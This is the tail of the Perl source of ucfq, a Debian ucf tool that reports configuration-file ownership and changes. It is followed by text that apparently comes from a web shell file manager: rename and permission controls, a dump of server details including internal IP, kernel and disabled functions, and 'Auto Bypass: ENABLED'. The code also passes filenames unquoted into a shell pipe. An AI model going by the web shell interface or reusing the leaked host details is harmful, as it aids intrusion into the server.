ensuring that the parameters passed in (presumably from the command line) are given preference. =cut sub validate{ my $this = shift; my %params = @_; my $defaults = $this->Defaults(); # Make sure runtime options override what we get from the config file for my $option (keys %params) { $this->{Con_Ref}->{"$option"} = $params{"$option"}; } # Ensure that if default parameters have not been set on the comman # line on in the configuration file, if any, we use the built in # defaults. for my $default (keys %$defaults) { if (! defined $this->{Con_Ref}->{"$default"}) { $this->{Con_Ref}->{"$default"} = $defaults->{"$default"}; } } } =head2 get_config_ref This routine returns a reference to the configuration hash =cut sub get_config_ref { my $this = shift; return $this->{Con_Ref}; } =head2 dump_config This routine returns a C<Data::Dumper> for debugging purposes =cut sub dump_config { my $this = shift; for (keys %{$this->{Con_Ref}}) { print "$_ = [${$this->{Con_Ref}}{$_}]\n" } } =head2 process This routine is the work horse routine -- it parses the command line arguments, and queries the on disk databases, determines of the files exist, and have been modified. =cut sub process { my $this = shift; # Step 1: Process all arguments in sequence. # Step 2: determine if the arument given is a package name (no / in # arg) %{$this->{packages}} = map { +"$_" => 1} grep {! m,/,} @ARGV; %{$this->{configs}} = map { +"$_" => 1} grep { m,/,} @ARGV; $this->{pkg_list} = object_list->new; $this->{file_list} = object_list->new; $this->{registry_proxy} = registry->new("StateDir" => $this->{Con_Ref}->{StateDir}); $this->{hashfile_proxy} = hashfile->new("StateDir" => $this->{Con_Ref}->{StateDir}); for (keys %{$this->{packages}} ) { my $package = pkg->new('Name' => "$_"); $this->{pkg_list}->element($_, $package); } for (keys %{$this->{configs}}) { warn "Need a fully qualified path name for config file \"$_\"\n" unless m,^/,; # Don't die for etch exit 0 unless m,^/,; my $file = conffile->new('Name' => "$_"); $this->{file_list}->element($_, $file); } # Step 3: If so, gather all files associated with the package for my $package ($this->{pkg_list}->list) { my $pkg_files = $this->{registry_proxy}->list_files($package); for my $file (@$pkg_files) { if (! defined $this->{file_list}->element($file)) { my $ret = conffile->new('Name' => "$file"); $this->{file_list}->element($file, $ret); } $this->{file_list}->element($file)->conffile_package($package); } } # Step 4: for all configuration files, determine package (unless # already determined), if any # Step 5: For each configuration file, check if it exists # Step 6: For each existing file, see if it has been changed for my $file ($this->{file_list}->list) { $this->{file_list}->element($file)->conffile_hash($file, $this->{hashfile_proxy}->hash($file)); if (! defined $this->{file_list}->element($file)->conffile_package) { $this->{file_list}->element($file)->conffile_package($this->{registry_proxy}->find_pkg($file)); } } } =head2 report This routine generates a nicely formatted report based on the information gathered during the processing. There are two kinds of reports, the first being a user friendly tabular form, the second (turned on by the C<-w> option) a easily parseable colon separated report. =cut our ($out_pkg, $out_file, $there, $mod); format STDOUT_TOP = Configuration file Package Exists Changed . format STDOUT = @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<< @||| @||| $out_file, $out_pkg, $there,$mod . sub report { my $this = shift; for my $file (sort $this->{file_list}->list) { ($out_pkg, $out_file, $there, $mod) = $this->{file_list}->element($file)->conffile_report; if ($this->{Con_Ref}->{Colons}) { print "$out_file:$out_pkg:$there:$mod\n"; } else { write; } } } =head1 Class registry This moel class encapsulates the package-configuration file associations registry. It parses the data in the registry, and provides methods to query the registry based either on package name, or the full path of the configuration file. =cut package registry; use strict; =head2 new This is the constructor for the class. It takes a required parameter B<StateDir>, and based on that, proceeds toparse the registry and populate internal data structures. =cut sub new { my $this = shift; my %params = @_; my $class = ref($this) || $this; my $self = {}; die "Missing required parameter StateDir" unless $params{StateDir}; if (-e "$params{StateDir}/registry") { if (! -r "$params{StateDir}/registry") { die "Can't read registry file $params{StateDir}/registry:$!"; } open (REG, "$params{StateDir}/registry") || die "Can't read registry file $params{StateDir}/registry:$!"; while (<REG>) { chomp; my ($pkg, $file) = m/^(\S+)\s+(\S+)$/; $self->{Packages}->{$file} = $pkg; if (exists $self->{List}->{$pkg}) { push @{$self->{List}->{$pkg}}, $file; } else { $self->{List}->{$pkg} = [ $file ]; } } } bless $self => $class; return $self; } =head2 list_files This routine queries the registry and lists all configuration files associated with the given package. Takes the package name as a required parameter. =cut sub list_files { my $this = shift; my $pkg = shift; if (exists $this->{List}->{$pkg}) { return [ @{$this->{List}->{$pkg}} ]; } else { return []; } } =head2 find_pkg This routine queries the registry for the package associated with the given file. Takes the path of the configuration file as a required parameter. =cut sub find_pkg { my $this = shift; my $file = shift; if (exists $this->{Packages}->{$file}) { return $this->{Packages}->{$file}; } else { return undef; } } =head1 Class hashfile This moel class encapsulates the configuration file hash database. It parses the data in the database, and provides methods to query the hash of the configuration file. =cut package hashfile; use strict; sub new { my $this = shift; my %params = @_; my $class = ref($this) || $this; my $self = {}; die "Missing required parameter StateDir" unless $params{StateDir}; if (-e "$params{StateDir}/hashfile") { if (! -r "$params{StateDir}/hashfile") { die "Can't read registry file $params{StateDir}/hashfile:$!"; } open (HASH, "$params{StateDir}/hashfile") || die "Can't read registry file $params{StateDir}/hashfile:$!"; while (<HASH>) { chomp; my ($hash, $file) = m/^(\S+)\s+(\S+)$/; $self->{$file} = $hash } } bless $self => $class; return $self; } =head2 hash This routine queries the database for the hash associated with the developers version of the given file. Takes the path of the configuration file as a required parameter. =cut sub hash { my $this = shift; my $file = shift; my $value = shift; if ($value) { $this->{$file} = $value; } return $this->{$file}; } =head1 class conffile This is the encapsulation of a configuration file metadata. =cut package conffile; use strict; use Cwd qw{abs_path}; =head2 new This is the constructor for the class. It takes a number of optional parameters. If the parameter B<Colons> is present, then the output will be compact. The parameters B<DEBUG> and B<VERBOSE> turn on additional diagnostics from the script. =cut sub new { my $this = shift; my %params = @_; my $class = ref($this) || $this; my $self = {}; die "Missing required parameter Name" unless $params{Name}; $self->{Name} = $params{Name}; $self->{Package} = $params{Package} if $params{Package}; $self->{Exists} = 'Yes' if -e $self->{Name}; if ($self->{Exists}) { $self->{Name} = abs_path( $self->{Name}); } bless $self => $class; return $self; } =head2 conffile_package This routine is the accessor method of the internal attribute that holds package name associated with the file. If an optional C<value> is present, updates the value of the attribute. =cut sub conffile_package { my $this = shift; my $value = shift; if ($value ) { $this->{Package} = $value; } if (exists $this->{Package}) { return $this->{Package}; } else { return undef; } } =head2 conffile_exists This routine is the accessor method of the internal attribute that holds the information whether the file exists on disk or not. =cut sub conffile_exists { my $this = shift; my $name = shift; my $value = shift; die "Missing required parameter Name" unless $name; if (exists $this->{Exists}) { return $this->{Exists}; } else { return undef; } } =head2 conffile_modified This routine is the accessor method of the internal attribute that holds the information whether the file exists on disk or not. If an optional C<value> is present, updates the value of the attribute. =cut sub conffile_modified { my $this = shift; my $name = shift; my $value = shift; die "Missing required parameter Name" unless $name; if ($value ) { $this->{Modified} = $value; } if (exists $this->{Modified}) { return $this->{Modified}; } else { return undef; } } =head2 conffile_hash This routine is the accessor method of the internal attribute that holds the hash for the developers version of the file. If an optional C<value> is present, updates the value of the attribute. It also notes whether or not the file is modified from the developers version. =cut sub conffile_hash { my $this = shift; my $name = shift; my $value = shift; die "Missing required parameter Name" unless $name; if ($value ) { $this->{Hash} = $value; if (-e "$name") { if (-x "/usr/bin/md5sum") { open (NEWHASH, "/usr/bin/md5sum $name |") || die "Could not run md5sum: $!"; while (<NEWHASH>) { chomp; my ($hash, $dummy) = m/^(\S+)\s+(\S+)$/; if ("$hash" ne "$value") { $this->{Modified} = 'Yes'; } else { $this->{Modified} = 'No'; } } close NEWHASH; } else { die "Could not find /usr/bin/md5sum .\n"; } } } if (exists $this->{Hash}) { return $this->{Hash}; } else { return undef; } } sub conffile_report { my $this = shift; return $this->{Package} ? $this->{Package} : "", $this->{Name}, $this->{Exists} ? $this->{Exists} : "", $this->{Modified}? $this->{Modified} : ""; } =head1 CLASS PKG This is an encapsulation of package metadata. Packages may be associated with configuration files. =cut package pkg; use strict; =head2 new This is the constructor for the class. It takes a number of optional parameters. If the parameter B<Colons> is present, then the output will be compact. The parameters B<DEBUG> and B<VERBOSE> turn on additional diagnostics from the script. =cut sub new { my $this = shift; my %params = @_; my $class = ref($this) || $this; my $self = {}; die "Missing required parameter Name" unless $params{Name}; $self->{Name} = $params{Name}; bless $self => $class; return $self; } sub list_files { my $this = shift; return []; } =head1 CLASS object_list This is a clas which holds lists of object names, either packages or configuration file object names. It provides methods to add, access, and remove objects, as well as an option to list all elements in the list. =cut package object_list; use strict; =head2 new This is the constructor for the class. It takes no arguments. =cut sub new { my $this = shift; my %params = @_; my $class = ref($this) || $this; my $self = {}; $self->{"List"} = (); bless $self => $class; return $self; } =head2 element This is an accessor method for elements of the list. If an optional value argument exists, it creates or updates the element associtated with the vaslue. Takes in a required name, which is used as a kay, and an optional value argument. The value is returned. =cut sub element { my $this = shift; my $name = shift; my $value = shift; die "Missing required parameter Name" unless $name; if ($value) { $this->{"List"}->{$name} = $value; } if (exists $this->{"List"}->{$name}) { return $this->{"List"}->{$name}; } else { return undef; } } =head2 remove Removes elements from the list. Take in an required name, which is used as the key for the element to delete. =cut sub remove { my $this = shift; my $name = shift; die "Missing required parameter Name" unless $name; delete $this->{"List"}->{$name} if (exists $this->{"List"}->{$name} ); } =head2 list This routine lists all the elements in the list. It does not take any options. =cut sub list { my $this = shift; return keys %{$this->{"List"}}; } package main; use Getopt::Long; sub main { my $optdesc = ucf->Optdesc(); my $parser = new Getopt::Long::Parser; $parser->configure("bundling"); $parser->getoptions (%$optdesc); my $query = ucf->new(%::ConfOpts); $query->process; $query->report; } &main; exit 0; =head1 CAVEATS This is very inchoate, at the moment, and needs testing. =cut =head1 BUGS None Known so far. =cut =head1 AUTHOR Manoj Srivastava <srivasta\@debian.org> =head1 COPYRIGHT AND LICENSE This script is a part of the Ucf package, and is Copyright (c) 2006 Manoj Srivastava <srivasta\@debian.org> This program is free software; you can redistribute it and / or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA =cut 1; __END__
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED